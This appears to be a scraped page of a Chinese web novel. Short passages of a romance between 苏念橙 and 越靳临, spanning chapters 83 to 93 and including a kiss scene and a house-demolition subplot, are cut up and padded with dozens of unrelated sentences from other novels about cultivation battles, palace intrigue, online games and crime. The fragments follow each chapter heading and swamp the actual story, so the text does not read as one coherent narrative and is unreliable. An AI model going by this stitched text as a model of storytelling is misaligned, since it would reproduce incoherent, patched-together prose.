“挺好的。”他说,声音低沉,“很甜。” 苏念橙皱了皱眉头,自己也舀了一勺尝了尝。 “很甜吗?”她砸吧砸吧嘴,“我怎么觉得不怎么甜啊?” 她说着,又舀了一勺,准备再尝尝。 越靳临忽然伸手,握住她的手腕。 苏念橙愣住了,抬起头看他。 他就站在她面前,低头看着她,那双眼眸黑沉沉的,像能把人吸进去。 “你想尝甜的?”他问,声音低低的。 苏念橙眨了眨眼,没反应过来,“啊?” 他忽然弯下腰,凑近她。 近到能看清她睫毛的弧度,近到能感觉到她呼吸的温热。 “那你要不要尝尝我的?”他说,嘴角带着笑,“我的很甜。” 苏念橙心跳漏了一拍。 她盯着他那张近在咫尺的脸,还有他嘴角那个笑,脑子里嗡的一声。 脸腾地红了,从耳尖红到脖子根。 他就那么看着她,等着她回答。 那双眼睛,黑沉沉的,亮亮的,带着点笑意,还有一点她看不懂的东西。 她心跳快得像要从嗓子眼蹦出来。 鬼使神差地,她没躲。 他就那么弯着腰,看着她。 她也看着他。 灶台上的火还开着,锅里的糖水咕嘟咕嘟冒着泡,热气升腾起来,模糊了两个人的轮廓。 谁都没说话。 然后他低下头。 嘴唇贴上嘴唇。 温热的,软软的,带着糖水的甜味。 苏念橙脑子里一片空白。 她闭上眼睛,手还攥着那把勺子,指节泛白。 他的嘴唇轻轻蹭着她的,试探着,慢慢的,像是在等她推开。 她没有。 他于是加深了这个吻。 舌尖撬开她的唇齿,尝到她嘴里的味道,淡淡的,甜甜的,比糖水还甜。 第八十三章 以后都煮给你喝 完了之后还要监视起居,再者还得派人去调查一下这三人的情况。就这样严密审查都有混入的奸细。如果不审查那还了得。 现在钟家的四人遥遥领先,最低的钟无月也有八十二点积分,至于钟无期,依旧是一百六十点,看起来昨天晚上应嘎是没有什么收获。 当封天进入到修炼状态时,就已经忘记了他实验的事情。期间,基地内的警卫军也在闹腾了三天后抓了不少的可疑人物后,终于在军部出面的压力下偃旗息鼓了。 而后天,就是校场演武就要开始了,卫莱的心底,甚至已经放弃了对魔神族的调查。 因此两只队伍就在这广袤无际的塔格玛苏荒原之上相距近千里地一前一后的前行着。 “顺利是真的谈不上。一路上吃了好多好多苦!有几次险些要了命。”无敌说道。 多少深情款款的男人,对老婆多重情的最后抵挡不住诱惑,最后走到婚变的下场。 三人见面,一番见礼寒暄之后,郑忽稍稍询问了一下战况,顺便假馁样的关心了一下的伤亡情况。 可是后来江辰冷静下来后,他又发觉不可能,以他对刘芳的了解,就算刘芳有心背弃自己,她也会先稳定住自己给她留条后路的,不可能这么心急的就送上门去,其中肯定还有其他的事情。 “其实要想提升自己的巫术,最好是每天洗七次澡。要么一次,要么七次,七次自然比一次要效果好一些。洗澡后可以很好地吸收和感知世间的神奇的力量,并运用它们。”摆樱莲说道。 陆淮出门前曾经讲过, 司令戴士南刚从北平赶回来,他们有要事相商。 可是……福奇觉得院线排片不好就是何方指使的,而且他们的人在中国所感受到的也是这一点。 “演员是一部电影剧情、思想、艺术的具体执行者与表达者,如果没有演员就没有电影。所以演员在电影中的作用与意义就如同我们的大脑。 在莱昂纳多一通介绍完之后,他做了一个表情,营造了一种悬念即将揭晓的停顿。 正巧朋友魏煜,她便想要与魏煜说些事情,便叫萍儿去知会一声。 临行前,舅舅重重握住了琳琅的爪子,一副看到了超级英雄的激动样子。 以性为纽带的关系,犹如着火的干柴,初时一发不可收拾,但燃烧过后,冷了冻了,只余下薄薄的灰烬。 秦凤仪摆摆手,“我可吃不起你们户部的饭。”一面揉着心口一面走了。 阿荷还想说什么呢,却见他步子迅速,只能叹了口气转身离去了。 为了赢个天骄大比,不仅在比斗顺序上下功夫,还搞个一明一暗双种子出来,弄的这么复杂,梵门就这么想赢吗? 黄灵泰左掌劈出,将到飞回来的灵气大枪拍碎,双脚一蹬地,向后飞跃而起,躲开黑白光团的攻击。 龙剑飞嘴角微微一笑回应着对方,你总不能内心狂热,表面一点反应也没有吧。 此时好在沒有人上卫生间,应当是门外还有他们的人在把风,不然哪会有人不上卫生间呢。 “都怪该死的艾森尔和特鲁斯这些人,要不是他们打草惊蛇,大明也不会防守这么严密!”瑟安德想不出丝毫办法,恼怒的将这一切都归咎于艾森尔和特鲁斯二人。 三人从酒店出来,打的到仁县车站,排队准备买票去玉溪镇。这时候才早上八点多,车站里还没多少人,售票的窗口也只有两个。 刘天浩手持霸戟鸿钧居中。张飞手持丈八蛇矛在刘天浩左边。而太史慈则是握着霸王鬼神戟在刘天浩右边。三杆长武器上下翻飞。挑刺戳撩。刘天浩更是仗着霸戟沉重。直接放弃了戟法花哨。只把一杆长戟当初铁棍來舞。 吴天涯匆匆忙忙赶上城头,张浩,愚啸天,云龙子,牛青云等高手早爬上城头观望,外面魔兽咬叫声,吐丹轰击对撞声混成一片,众人惊得目瞪口呆。 李知尘手上一弹,玉剑横出,直直刺去。只听“当”的一声,声音停着,两把剑的剑尖正好撞在一起。而李知尘手上轻轻一抖,玉剑如一条灵蛇似的一颤一吐舌,刘翔则手上长剑便已被击碎,“叮叮当当”的碎片掉在满地。 龙剑飞进了房间,赵家父子十分不解,这对方要钱就给,那给的钱算谁的。 没有过多的话语,但叶枫从这短短的几句话语中,他听到了此人对自己的防备,但此人对自己为什么会有这么大的防备,叶枫不清楚但他相信自己可以问清楚,因为他有种感觉,这样的信息与他的任务有极大的关联。 话音刚落,便是看到了一只只触角一样的东西,从他的袖子里钻了出来,直冲林杰而来。 林嘉怡开心的拍了拍手,且低声向梁辰说了句“拜拜”,然后飘然而去。 第八十四章 拆迁 苏念橙点点头,深吸一口气,把那股慌乱压下去。 她回到办公室,收拾好东西,想要去找越靳临商量一下,可是转头看到窗外的男人,很是忙碌,她不想打扰她,于是自己骑车去了教育局。 教育局还是那栋灰色的小楼。 她进去找到招生办,敲了敲门。 咖啡不好喝,韩宇如果没有必要的话,根本就不会喝它,“你说难道我们出的两次车祸是因为他?”卫瑾瑜抬起头盯着韩宇问到。 “皇上,臣妾没什么事,”唐蓝笑盈盈的,看着精神确实好了许多。 南宫志摩、孤独商隐同样响当当,在南方四大才子中排名第三、第四。 加利与她的父亲一直谈笑风生,还不时地挑衅似的看向林凡,却发现林凡压根就没看向他们这边,而是在闭目养神。 言之只能打开空投,捡到了一把AWM,以及八倍镜,还有狙击枪子弹三百发。 佟晓雅有些为难,这个唐风可是滇西的首富之子,家里别的不多,就是钱多,刚才唐风摸了她一把,显然是不怀好意。 陆春花还没来得及说话,一大堆官兵便涌入了院子。领头的那人黑宝跟陆春花都认识,是张骏。瞧见这么多官兵,武末郎跟西门莲登时就吓瘫在了地上。 大家都很高兴,毕竟第四比起以往已经有了很大进步了,所有人的脸上都洋溢着笑容,觉得今年不会再垫底了。 “我的狗又不是物品,怎么借?”林青湫不耐烦的皱起眉头,懒得再给好脸色了。 而后,清隽老者又好似全然没看见赵一惘五人般,又坐下与那素缟老者对峙。赵一惘几人也是没搞清现在的局势,皆是不敢轻举妄动。 只留下冥破天朝他的背影看了看,嘴角冷冷一笑,继续向另一条河飞去,继续他的巡查工作。 萧乐只听到了她的话的动听好听,那还知道她的话意,继续是猪哥的愣住,止不住口水往下流了。 “好,儿臣记下了,不过既然儿臣已经辛苦来了,不如父王还是听儿臣把话说完吧!”轩辕宏尽量将自己表现得不那么急躁,其实早已心急如焚了!现在他是有求于玉帝,当然得顺着玉帝的意思做。 而另一边的盘龙城,北冥玉是派罗逸去的,而盘龙城的城主可没有伏虎城的城主这么好忽悠。无奈之下,罗逸只能把盘龙城的城主灭口,然后找到兵符再控制城中守军。其中的过程可谓比北冥玉他们艰难得多了。 两人同病相怜同命相惜,可怜兮兮,各自是诉起了衷肠来了,却是把个肖土当成了摆设的熟视无睹。 与此同时,神魔二界通道口,大批的神界战士和魔界战士已经集结起来,他们分别在神王和魔王的带领下向神魔二界的中心连接口前进集合。 “可是,我相信你的能力,无论出现什么状况你都能化解的!”伊人惑人的醇厚声音带着淡淡的蛊惑味道传来,让我暗骂一句妖孽!只是……他到底想让妮卡做什么? 不知道为什么,明明花林羽脸上的笑容没有变化,但是陈少明好像感觉到了这个笑容中含有高兴开心的情感。 我就走进厨房,从消毒柜拿出几个碗筷,然后就拿出客厅的桌子上。 “所有的!香香,没有里,我就成这里的罪人了。我走了,你也累一天了,早点回去休息吧。”李汉说完,看了眼旁边等待叶香的葛舫,然后走了。 第八十五章 虐渣 另一边,苏念橙回到家,推开门,屋里黑漆漆的。 越靳临还没回来。 她换了鞋,在桌边坐下,盯着那张报名表发呆。 坐了一会儿,她站起来,推门出去。 隔壁楼,何佩佩刚下课回来,正蹲在门口洗菜。看见她过来,眼睛一亮。 “念橙?咋啦?”她站起来,在围裙上擦擦手,“脸色这么难看。” 其中每一位中将后面都有一位少将,剩下的三位少将组成一队,分四面将古求包围了起来。 他们在龙蛮那里刚吃了一肚子气无处发泄,王龙这可算是自己送上门来的出气包。自己怎么可能拒之门外呢? 玉紫伸手接过铜牌,她转过头,看向那公孙宁。公孙宁迎上她的目光时,举起手中的酒斟,晃了晃,仰头一饮而尽。 “要我帮忙吗??”作为赵逸的姐姐,七实莫过于是最了解赵逸的人了,见赵逸变了脸色急急跑开便意识到是出事了。 罗强带着鬼火妖、纪子一阵乔装打扮,开着一辆黑色的丰田越野车直奔一家金行,警方已经在每家金行都驻有警员,不过罗强等人三下五除二就打晕了守卫,盗了一箱金条,然后慢悠悠的走出金行,驶离。 不过现在根本容不得她多想,如果再不脱身疗毒涅槃,那么她就会真的变成赵逸手底下那块砧板上的肉了。。 尤其是在八卦圣境中,有狻猊那样强大的神兽。狻猊没有死,而且还很强大,古求想要报复狻猊对自己的夺舍,唯有得到八卦圣境,在‘混’沌噬境中,完全无敌的古求才能斩杀狻猊。 “好,我告诉你,那可是涉及到一些遥远传说了。”唐大忠开始为古求将是泣鬼链和落英丹的来历。 方尧神气的样子让邵华有点忍无可忍了,看着方尧微眯的眼睛,很是轻蔑。 不知过了多久,这种强烈震撼才停了下来。这个世界好象也像雨过天晴般安宁,一切都归于平静。 当然其他三个方位的神兽也打了那场战争,但有没有留下传承就不知道了。 今天晚上莫宇凡和洛轻羽都不敢轻易地睡过去,谁知道会发生什么事情?但有些事情不是人可以抗拒的。 正常来说他是没错的,鞠婷婷有求于他,还是救命的,现在卸下明星的光环,所有的骄傲与包袱给他做饭,别说只是看上几眼,便是‘那什么’一下也是情理之中。 余青就拉着儿子回去换衣裳,这边梳洗完毕,那边就通报万花赛的易娉婷求见。 一时孩子们围着魏珍请教护肤的方法,而魏翠儿则是满脸的骄傲和满足。 第一次炼制三品丹药就达到一炉六丹之境,这种成就在长生谷这种地方来说是骇人的,这个消息传出去的话一定会引起大轰动。 九统领停止看来敲打,她此刻面色苍白,这九龙钟虚影本就是她的黄金血脉幻化,她又要自己敲,十分耗费黄金之力,连续敲钟一百次,她已经达到了极限。 陆清漪低头看着河中游来游去的鱼,闻声双眸轻轻往后看了一眼,只一眼便将目光收回。 天顺帝端着酒盅仰头喝下, 他与明王是亲兄弟, 因年纪差十五岁, 故而年幼时常受兄长看顾, 感情深厚,他无法不答应兄长的要求。 第四环区域内,大部分都是元神大圆满武者,看到此幕,均是震惊开口。 第八十七章 拆迁款 慕清泽蹙眉,什么时候魔界的手伸的这么远,连人界的皇宫都开始侵染了吗? 或许,他也该做到这样洒脱,但最终还是走到了沈青箩家的门口。 白帝应着,还得赔着笑脸应着,全然不敢说自己来这里,还不是因为面前这位喊的自己。 “大哥,来,过来喝一杯我们这的沙爹味道很正的呢,来来来。”王家强不由分说就将林宇拖到座位上亲自给林宇倒了满满一杯扎啤,大口径的杯子最有三两。 当着程浩的面,就无所谓了,无话不说的好哥们,知道这些也没什么,最多就是取笑他而已。 “好,灵儿姑娘辛苦了,你先去休息吧!”云宗主接过丹药,感激的说道。 电视节目下面也开始滚动花猫的寻人启事,林宇帮忙在网络上也做了广告,林宇顾不了那么多了,看着花猫憔悴的样子他实在不忍心。 上官子然刚才好象看到有人影,但又象是自己眼花。他再看时,哪里有人?肯定是他疑神疑鬼了吧? 刘姐离开之后,傅芝初就抱着抱枕靠在沙发上看电视剧,当看到高兴的时候就会放声的大笑,仿佛根本就没有看到一旁脸色冰冷如霜的宁静,即使是宁静故意咳嗽了几声,她也是毫无反应的,装作没有听见。 傅芝初侧头看到了傅天翰眼睛里的无奈,她安慰的笑了笑,“哥哥,你不用为难的,夏蝶是被冤枉的,我相信法律会还给她一个公正的,她会没事的,不是吗?”傅芝初安慰傅天翰的同时,也在安慰她自己。 “此事就不用你操心了,稍后老夫会处理好。”古仁通摆了摆手。 抬手按上弓弦,石岚劲力一涌,缓缓将其拉开,先天真气流转,一道道玄奥纹路自弓身之上浮现。 第三,那天晚上,火还没灭,江轻尘和李雁飞就已经出现了,到处查看,询问,查过后,一副了然的神情,貌似已经知道谁是纵火犯。 刹那间,天刀裹挟着浩瀚天威,带着惊人的源能波动斩落,赤乌战戟横贯虚空,戟刃直指天际。 虽然石天路在地煞境圆满停留已久,早已积攒了浑厚底蕴,但有外力相助,突破自然更有把握。 在这血色怪兽形成的瞬间,王炎身上的双手火焰更加的浩瀚了,他强行控制着双色火焰在他的身后形成火焰翅膀,然后向其中一个巨魔飞去。 “钱给到了,肯定服从指挥,再说等容容正式的封赏下来,肯定要赐公主府的,现在皇家手上有几个府邸大家都清楚的很,又是一个大工程,找民间施工队先适应一下,也是好事。”江轻尘说道。 这个念头刚一出现,为首的官员骑在一匹高头黑马之上,缓缓地朝着夏繁星脸上投来一个目光。看清楚此人的面容后,夏繁星不由得皱起了眉头。这正是任职不久的大理寺少卿,曾于杨家赏月会之上遇见过的来复霖。 “嗡~”感受到了那股危机,天眼之中,一道法则之光迸射,向杨三阳的斧头迎来。 马九一下子被击飞出去,倒伏在床边。这时,朱奇从床上慢悠悠的走下来,王霖也从床边揭开帘子走出来。 关立智吃惊地看着她,几乎不敢相信这是他老领导的千金说的话!她怎么能相信一个微信好友,而且还只是个生意人!凭什么这么相信他? 一獠一獠的神电,透着大破灭的悸人压迫,时不时地从墨黑云层中窜出,虚空被划破出了一道道裂纹,非常可怕。 直到夜深,庄弈辰才命所有人去休息,他一人独自守夜。庄流云却是不依,坚持要和庄弈辰一起守夜才行!实在拧不过,庄弈辰也只好点头答应。 祂双眼血流不止,原本窈窕的身姿都是佝偻迟暮,白发苍苍,容颜枯朽。 要是对外说,杜南一屁股坐在她胸上,把山打出一个大坑,那她澹台月芝的一世清誉,还不毁于一旦。 欧家的大院子里都装了玻璃,早几年是为了防沙尘暴的,后来就一直这么着,整个欧家的大宅院里是冬暖夏凉的。 钟醒现在肯定不能轻易的说是,可是如果说不是,那么也不妥,他们明显知道事情的真相,就想让自己承认一下。 钟醒现在也是由于低谷中的心情而导致的坏脾气,换成平时,他一定不会这么和莫婉嫣就说话。 杨明掏出了手机开始玩游戏,其实所谓的游戏杨明还真不会玩,他只会最简单的斗地主。 “要是当初我们在江州的时候就会这些手艺就好了,完全可以将那个铺子做得更好。”蒲婶学会了赵原做一些早餐的方法后,时常跟陶蒲念叨着。 胖子双手紧握钢管,高举头上,而李南倒是举刀对立,一个霹雳旋风急下,只听两声干脆之音,胖子手中的两截钢管,瞬间跌落在地。 丘家堡内不得私自携带兵器,这是堡内的规矩。丘黎回了院子,换了一身利落的藏青色衣衫,执起一丙打造精良造型精美的长剑,就这么堂而皇之地走进辉临院。 就在此时,那一直沉眉阖目的半神突然睁眼,一抹犀利神光闪过,倏然出现在药圣身前。 听到秦羽这般威胁的话,蓝乾冰兽眼瞳中,闪过一道凶光后,说道。 那五个追杀的武皇天骄,脸色陡然狂变,想也不想,转身狼狈而逃。 “对,原子你放心,什么时候我们将第一块墨弄出来了,就给你送去,哈哈。”二伯赵元成笑着说道。 不过他看向叶星四人的目光,却是充满了兴奋,当他的目光扫过君雪艺的时候,更是带上了一种淫欲的光芒,伸出舌头在嘴上舔了舔。 第八十八章 隐瞒 越靳临笑了,“不算多,也不算少。刚好够咱们换个更大的房子。” 苏念橙脸一红,低下头,“谁跟你咱们……” 越靳临没接话,只是看着她笑。 两人一人骑车一人推着自行车,慢慢往回走。 他开得很慢,慢到跟自行车的速度刚好持平。 苏念橙注意到这一点,心里甜滋滋的。 芙兰达总算还知道人家好奇的不光是那个餐厅的名字,接着把自己知道的又说了出来。 不管黄荣多么邪恶,黄珊珊都不能否认,大部分都是因为她才做出来的。如果这个时候因为心中那点可笑的正义,和爷爷划清界限的话……就连方皓天都会鄙视她的。 没法在大庭广众下使用瞬移,但莱维对自己的速度有绝对地自信。只见他没做任何准备,身体就如同离弦地箭一般嗖的冲了出去。未免撞上正往校门口走去的其他学生引发交通事故,莱维特意贴着围墙飞奔。 “臣拜见陛下!”霍光躬身对汉武帝说道。如今他位同三公,在皇帝面前也只需要保持简单的礼仪就可以了。 “那一言为定了!”见到艾丽丝答应了自己的要求,卫宫雪十分高兴的伸直了自己的左手,然后伸出了自己的大拇指,并且嘴角微微的翘起,露出了自己雪白的牙齿,而且还有一个闪光飘在那雪亮的牙齿上。 项彬目光不禁又看了抓着自己的老者一眼,这老家伙究竟是谁?他到底是何等修为,竟然如此强大?看他出手的样子,倒不像是一名武者,反而更像是炼气士的手段……而且其修为,似乎尚在自己师父梨落之上。 点点头,他暗下决心——晚上一定要跟英灵老爹好好说说这件事。 及至又遇到一道剑意,将之吸收之后,兵道戟又出现了新的变化。 “家豪,昆程去机场前说过什么没有?”吕汉祥两眼通红,独子就这样没了,让老年丧子的他心情无比沉痛,甚至在心里发誓了,如果儿子的死不是意外,不管谁是凶手都要疯狂报复回去。 不过这次跟平常有些不同,没法按惯例拿菲特出来衬托凛的诸如无理取闹坏毛病。谁让莱维的确带错路了呢? 因为接下来不管他说什么,二老都会下意识的以为自己是碍于面子,不好意思承认。 我陪他在天空中,飞了一圈,熟悉了风翼的速度,随后落在了地上。 这矿洞地方狭窄,贪蛇的这种攻击方式,人站在地面上,根本逃脱不掉。 我几口吃完食物来掩饰我的慌张,随后厚起脸皮,来到了暗拳的跟前。 吉梦工会现在的主播都是挨饿状态,因为被打压,所以很多大哥都是不会给他们刷的。 柯宝强跟夏雨荷交往的这段时间,两人的感情真的是急剧升温,就在昨天晚上,情不自禁的两人便水到渠成的发生了关系。 轰!几人的灵盾直接被砸偏了角度,无数的铁荆棘摄入,竟将两人的灵罩大部分射穿,露出了身上闪闪发光的灵甲。 在她看来,这顶了天也就几千块钱的东西,自己刚刚都已经出到了五万块钱,可这男的居然还不肯出手。 听了丽佳的话,众人虽然不想相信,但却知道这十有八九就是真相,一时间现场的气氛凝重。 而且,林世桃还更自信,等日后突破金丹,面对金丹雷劫,也会更为从容。 第八十九章 怼恶人 曾晶晶盯着窗户里那两个人,眼里闪过什么。 “算了?”她冷笑一声,“等吃完饭再说。” 苏荷雨看着她那张阴晴不定的脸,心里忽然有点发毛。 不止如此,吴岩此刻还利用荒天棺的荒天禁力,禁锢了所有闯入荒天禁世界的天尊,同时更通过荒天禁世界的视角,正面的观察着黑暗道尊等五人的本尊。 周莹莹看着这个好姐妹实在是不忍心,云涵林对于她来说很重要,因为曾经云涵林救过她的性命。 “去死吧,哈哈!”带着黑衣人的狂笑声,黑衣人已经夹带着一片白色刀芒,砍在了刘墨的背上。 安大人知晓我生病了,说凌姑娘医术甚好,而我曾经救过凌家众人,所以他们俩非要过来给我治病。”石庭解释说。 但是在下一刻,莫宁的手中,却是出现了一块血色的玉简,上面没有任何的强大气息,但是有一股血腥的气味逸散出来,仿佛是由鲜血凝结而成的一般。 开天气刃这是盘古幡的第一道神通,可以撕开混沌、裂开时空,开辟出无边的洪荒世界。 不过,这种把握却显然不如原来清晰精准了,变得十分的模糊。而同样的,随着各道本源的回归,吴岩对道的认知,以及对大道圣界的感应,都要比原来弱了数十倍不止。 想到此处,总觉得心里闷闷的,透不过来气,甚至有种想哭又哭不出来的痛楚。 魔兽领主的使者走后。远在奥斯汀学院的安娜,也利用微型侦查虫向叶潇发来了预警讯息。说人类目前已经在集结军队,可能会在短时间内,向海格尔森林进军过来,领军的人正是南部将军贝思柯德。 这一点,老陈没有和那个外来人说,因为他看得出来,对方不可能在石庄多待,既然如此,多一事不如少一事。 墨宸走近了满满,接过她手里海藻般的长发,墨宸的手顿时像个会魔术的魔法师一样,一个漂亮的发髻就在满满头上定型了,看着和旗袍很搭,只是有点少了一种东西。 在连绵不断的技能攻击下,剩下的那两名黑暗精灵刺客也相续的死去。秦枫七人偷袭这四名黑暗精灵刺客的整个过程,只用了短短的三分钟时间,这使得大家都认识到了技术不是王道,配合才是真正的无敌。 安排好她们的住所之后,天已然擦了黑,吃罢晚饭就各自安寝。辛夷躺在床上,思来想去难以成眠。 她念及至此,心稍宽了些。而正在这时,她却有一种莫名的感觉——就好像,有许多双眼睛盯着自己似的。 没有任何话语,楚凡直接选择出手,踏命枪扫过,霸绝而强悍,直取赵志泽后心。 庄少游率众乘坐两艘四桅战船来到这里,公孙度也亲自来了,公孙严早就摆好阵仗,迎接高句丽护送团。 傲天祁似乎看出不对劲,移动着全身无力的身体,拿起一杯茶道:“既然太子妃这么说了,我还是要领这个情。”说完一干而净。 石青悠然的抽着烟,好像这些根本和他一点关系都没有。二虎看有人倒霉却乐了出来。 呜!很菜的一个怪物,除了冰系魔法免疫以外,其他的属性都不值得一提,最主要的是他的攻击速度和移动速度实在是慢,简直就更老牛拖破车一般。 第九十章 强吻 越靳临站在门口,他换了鞋,走进来,脸上没什么表情。 苏念橙站起来,“回来了?饿了吧?快吃饭。” 她走过去,想接过他手里的东西。 他没递给她,只是绕过她,把东西放到桌上。 “嗯。”他说,声音淡淡的。 苏念橙愣了一下。 她看着他,他这是怎么了? 他不太记得张褚和张之蕴,但他记得彭长平,比较他前不久才吃了彭长平亲手烤的烤肉。 “滚,再让老子看到你耍流氓,别怪老子把你废了!”李逍遥厉声道。 “我等会去问问,要是我们真把你的申请表弄丢了,我肯定为你主持公道!”孙敬说着,把袖子都撸了起来,一副要干架的样子。 现在的他似乎也没有去考虑这些问题,因为此刻的唐缺已经说到很清楚了。 他们可不是林木,他们是真爷们,平时玩一块还可以,要是真成了林木和季然那样,他们想都不敢想。 他越是这么说,就越是没人相信,一时间所有人都专注于手中的工作,而柳三权和史蒂夫则一同离开,柳三权的手中出现了一对健身球在那把玩着,从一边拉过一把藤椅,直接躺在上面,安逸地休息。 这事占了点关系,如今沈贺要处理这件事,自然不方便让薛敛留在场,否则岂不是平白叫人看了笑话。 奴隶、和领主的领民都不能够离开自己居住的地方,唯有冒险者、自由民、贵族、王族可以自由的在不同城市往来。 主仆两人的身影渐渐走远,徒留空无一人的后花园一片萧寂,寒风卷过地上的落叶穿过凉亭,像是有谁在默默叹息。 “咳。”江枫重重地咳了一声,清了清嗓子,见还是没人注意到自己,只能扯开嗓子大喊。 昨晚的事在我脑海里挥之不去,我不明白,难道是因为我太主动,所以把路旭东吓跑了? 走不多远,天生的鼻端就闻到了一股异味,这种味道说臭不臭,说香不香,而且也不是太浓,有微风吹来,气味立刻就消散了,如果不是事先有追日的提醒的话,天生等人绝对不会去在意这种气味。 话说着,陈寂然便轻车熟路的那盘子切菜炒菜,俨然一副居家好男人的样子。 “我睡了多久?”出岫迷迷蒙蒙地问,长时间不曾开口说话,从前甜糯的嗓音也有些喑哑。 不知道是不是我比较幸运,从15岁来初潮开始,一直到现在都从来没有痛过。以前看叶圣音因为这个疼还特意请假休息,我还想着有这么严重吗,现在落到自己身上了,才知道原来确实挺难受的。 “真的,终于要到京师了吗?”听到朝霞这么说,吕香儿的眼中立刻放出光亮,又看向吕洪。 霍青青没有再问什么,可她再次看向朝霞的眼神却有些奇怪。朝霞却也没有解释什么,而是向吕香儿一笑。吕香儿知道朝霞与霍青松之间,有着不能对外人说起的牵扯,便只能起身安抚霍青青。 我依旧以第一,唐悠悠在神鸟朱雀的练级下紧随其后,神族火神则强势的后来者居上占住了第三,永恒的爱第四,第五是玫瑰花的葬礼,逆苍天屈居第六,天榜前十五的玩家,有四个是葬月的,占据比例非常之重。 既然都要回来了,为什么突然又那么急着要顾西西过去?楼宽有点不理解,总觉得今天的陈总怪怪的。 第九十一章 实力 苏念橙愣住了。 他看着她,那眼神,认真得很。 “苏念橙,”他一字一顿,“你是我媳妇儿。你的事,就是我的事。你再敢瞒着我找别人帮忙,我就——” 他顿了顿,没往下说。 苏念橙眨眨眼,“你就什么?” 他没回答,只是低下头,又吻住了她。 这次比刚才温柔多了。 抱了一会儿我觉得挺热的,就挣脱开他直起身子,然后就捕捉到他深情到要死的眼神。 四周都是灰蒙蒙的,全是灰尘,还有从房顶掉落的木头,房顶早就已破烂不堪了,也难怪没有人在此住着,根本无法挡雨。 “慢聊。”叶清庭淡淡地留下一句,看也没看她们,牵着凌溪泉的手径直朝店外走去。 夏轻萧知道他问的是为什么指的是什么,不过却只是笑了笑并未回答。 这一番指责的话说的不紧不慢,从晗月脸上根本看不出她有怒意,但言辞凿凿每字每句就如鞭子般抽在顾贞的脸上。 一连几天容沐都跟疯了似的,见谁咬谁,胡言乱语,整栋别墅被她吵得鸡犬不宁。 四名身材魁梧的男子走到轿旁边,轿夫看着威风凛凛的他们,自动自觉的让开了。 “萧世清,你怎么还不醒?”她的声音带着咬牙切齿的恨意和爱意。 出了会所我给麒麟打电话,他那边闹哄哄的,也不知道是在哪个包间,喝醉了没有。 凌溪泉傻傻地注视着他的举动,连不解的情绪都还未来得及显现,男生适时地抬眸看了过来,让恰好与之对视的她一怔。 寺院的门这时被人大力地推开,一队兵卒冲进了寺院。不少兵卒手里举着手把,将黑暗且死寂的废弃寺院,转眼的工夫就照得如同白昼。 所以三天之前才逃过一波追杀的蓝星幸存者,再一次遭遇到了异兽们的追杀。 “唉!”宝昕叹息,现在该考虑的是怎样才能逃离匪窝,这样才能把消息送到老爷子手上。 这人既是锦衣卫百户,手下自有儿郎可差遣,况且是应天府那边的高门出身,估计家里也不会让他孤零零的上任,怎么也会给些人手的。这样都伤的这么重,看来就这么两天,发生了大事? 严姑娘一直跪着哭,哭着哭着,居然晕了过去,身边的家仆赶紧将她带走了。 因此于克敌很希望重振家声,以及报答一些叔伯的照顾,只要别人不妨碍他上进,他还是很好相处的,也算热心。 以前她虽修习魅功,可是极少挑逗男人的,就是不知道为什么,看他这冰山样子自以为是就想撩他。 欧阳中秋这才反应过来,说起来他虽然在新城住了一段时间,但还没有真正的习惯。 另外两只异兽无奈的看着这只异兽,它们两个打不赢这只异兽,加起来还差不多。 只是,他每迈出的一步,看起来都非常的机械和艰难,仿佛双脚深陷在了泥潭里,十分费力。 关锦璘心中琢磨着把身子向前移动几步,继续观察蒙面黑衣人的动静。 哪怕明知道两位圣尊的做法才是最正确的也是一样,如果他真的那样做,他也就不是牧易了。 只不过,她在说这话的时候,却根本没有注意到,旁边不远处的百里炫舞和螭龙,在听到她这话的时候,立马停下了手头的事情。 关锦璘听见吴三朵呼喊,向山口美黛子跟前走来;山口美黛子也向关锦璘身边走去。 第九十二章 脾气真好 “去看电影怎么样?” 苏念橙想了想,“好啊。好久没看电影了。” “那就去。”他睁开眼,低头看她,“现在起?” 苏念橙点点头,从他怀里爬起来,“那你快起来,我去换衣服。” “好。” 林不凡原本打算去投奔陈玉楼的,可一想到那瘟疫的可怕,所以他直接乘坐火车,莫名其妙地在这长沙城下了火车。 吴邪没有看错,面前的这颗铜柱,正是他和老痒从秦岭地底挖出的那个铃铛吊坠上刻画的一幕画面。 因为泽法的性格实在是太过优柔寡断,再加上家人的横死对他造成了巨大的心理打击。真要算的话,现在的泽法真正的实力或许已经提前下滑了也不一定。 金慧抬头看到郝秀妍时心里就是一震,因为郝秀妍的神情不像进手术室时一样充满信心,而是满脸的愧疚,甚至低着头不敢看她。 经过短暂的恢复之后,温珩体内灵力只恢复了不足五成,不过眼瞅着时间不多了,他也便没有在继续修炼。 听到了多弗朗明哥的话语,一旁的罪犯们发出了一阵的一轮,紧接着,又是数道强大的气息爆发而出。 为什么这么冲动,看到花灵被林不凡揽入怀中,就失去理智开枪射向林不凡。 而木头是最怕昆虫和蚂蚁的,所以,献王特意要采取一些驱虫措施。 三年之后,她始终放不下心中的爱人,便不顾父母的劝阻,再度回到慕容澈的身边。 若说开头他的话还是吆喝喊话的命令,后面的就是干脆忍不住的调侃了。 永林成看着眼前这座古铜巨城,犹如一头来自太古的荒蛮巨兽一般耸立着。纵使是他来过数次,此时心中也依然涌出了一阵感叹。 像墨夜这样排在最尾端这种,实在没有闪光点,被判定为走了狗屎运,直接忽略。 雷音宝树是诞生于雷电之中。靠吸取雷电之力而生长。现在还是幼苗。但已经能显化出种种神通。 如果有他熟悉的人在这里,看到他这样温柔的神情肯定会大吃一惊,也只有施嫘嫘才能看到他这知温柔的样子。 段延庆:“事事无绝对,我们走了!“所完和另岳老三消失在皇宫深处。 随着舰队的逐渐靠近,叶宇此次携带的舰队规模,尽数展现在众人的眼前。 而当黄老最后到宫门前,看到众人都使着最大的力气去推这宫门时,心里更是冷笑不已,他就是早就猜测到这个宫门不是那么容易进,所以才让他们先过桥也不怕他们会抢了这宫里的东西的。 承天府的出现,结束了凡界各星上的动乱,然葬仙之地的无数法宝以及修仙功法令人眼红,这也成为杀戮之源。在承天府主强令下,所有的葬仙之地全部封存,定期向宗门修士开放,由此修仙界正式走向了秩序之列。 红衣男子下台之后,紧接着上台的是一名长着娃娃脸相貌十分可爱的男子。 拳头砸在飞镖上立刻离开,不过下一秒钟在此袭来,红鬼一个轻功跃上树梢躲过了第二波攻击。 王公公看到简白在仔仔细细地搜寻线索,就不再言语了。心道:如何能做到藏匿无形呢?连跟踪高手都找不到的地方,那入口一定非常隐秘,会在哪里呢? 第九十三章 元旦晚会 时间过得快,一转眼就到了十二月底。 这些天苏念橙几乎把所有时间都扑在学习上。 